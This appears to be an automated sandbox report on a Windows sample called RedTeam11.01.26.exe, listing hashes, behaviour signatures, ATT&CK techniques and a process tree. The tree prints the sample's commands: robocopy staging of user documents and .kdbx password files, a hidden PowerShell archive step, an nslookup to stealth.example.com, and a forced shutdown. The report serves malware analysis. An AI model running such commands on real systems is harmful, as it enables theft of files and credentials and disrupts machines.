460151e2d87a413ae5d5c86aabc81c9a8831a52b185bf63b6ac6478f32510571

Reason

Machine shutdown

General

Target
RedTeam11.01.26.exe
Size 2.3MB
Sample261101-2nvxpaz18q
SHA256 460151e2d87a413ae5d5c86aabc81c9a8831a52b185bf63b6ac6478f32510571
MD5 a6e0d1a8d3523752763a273255c29f45
SHA1 c29c27de8d6337ff808bc265905518591f6079ae
SHA512 6443d9b148f85e1caab64b3dc46d9ab56c727bb4e7bd879f4833a3d3be88e48f8bbfb36d4bd2a8f971e0e541c900abfd7990cd8168688d38479e35744010fe41
SSDEEP 49152:oDScM3I0UsZr0oCNDsdgt1X+d3oXO7EtvQ:oFG+XUEtvQ
TLSH
T183B539E1659916E0F963493F842EA58953B31319B704C3D29E2D8D36CF5B3C8AE93E4C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3052	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\sys_admin_tool.exe	RedTeam11.01.26.exe
File opened for modification	C:\Windows\System32\sys_admin_tool.exe	RedTeam11.01.26.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1868	cmd.exe
3980	cmd.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "161"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432"	LogonUI.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3052	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeBackupPrivilege	3760	robocopy.exe
Token: SeRestorePrivilege	3760	robocopy.exe
Token: SeSecurityPrivilege	3760	robocopy.exe
Token: SeTakeOwnershipPrivilege	3760	robocopy.exe
Token: SeDebugPrivilege	3052	powershell.exe
Token: SeShutdownPrivilege	4316	shutdown.exe
Token: SeRemoteShutdownPrivilege	4316	shutdown.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1732	LogonUI.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3912 wrote to memory of 3760	3912	RedTeam11.01.26.exe	81
PID 3912 wrote to memory of 3052	3912	RedTeam11.01.26.exe	82
PID 3912 wrote to memory of 1868	3912	RedTeam11.01.26.exe	83
PID 3912 wrote to memory of 3980	3912	RedTeam11.01.26.exe	86
PID 1868 wrote to memory of 4924	1868	cmd.exe	89
PID 3980 wrote to memory of 4316	3980	cmd.exe	90

C:\Users\Admin\AppData\Local\Temp\RedTeam11.01.26.exe
"C:\Users\Admin\AppData\Local\Temp\RedTeam11.01.26.exe"
1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3912
- C:\Windows\system32\robocopy.exe
  "robocopy.exe" C:\Users C:\ProgramData\Microsoft\Windows\Staging *.docx *.pdf *.xlsx *.txt *.kdbx /S /NFL /NDL /NJH /NJS /NC /NS /NP
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -WindowStyle Hidden -NoProfile -Command "Compress-Archive -Path 'C:\ProgramData\Microsoft\Windows\Staging*' -DestinationPath 'C:\ProgramData\Microsoft\Windows\collection.zip' -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3052
- C:\Windows\system32\cmd.exe
  "cmd.exe" /C nslookup stealth.example.com
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1868
- - C:\Windows\system32\nslookup.exe
    nslookup stealth.example.com
    3⤵
    PID:4924
- C:\Windows\system32\cmd.exe
  "cmd.exe" /C shutdown /s /f /t 0
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3980
- - C:\Windows\system32\shutdown.exe
    shutdown /s /f /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4316

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3a13855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:1732

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

PowerShell

1

T1059.001

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_35hukm5w.3el.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_35hukm5w.3el.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/3052-2-0x0000022F36010000-0x0000022F36020000-memory.dmp

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memory/3052-1-0x0000022F36010000-0x0000022F36020000-memory.dmp

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memory/3052-9-0x0000022F38090000-0x0000022F380B2000-memory.dmp

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memory/3912-10-0x00007FF6BF450000-0x00007FF6BF697000-memory.dmp

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Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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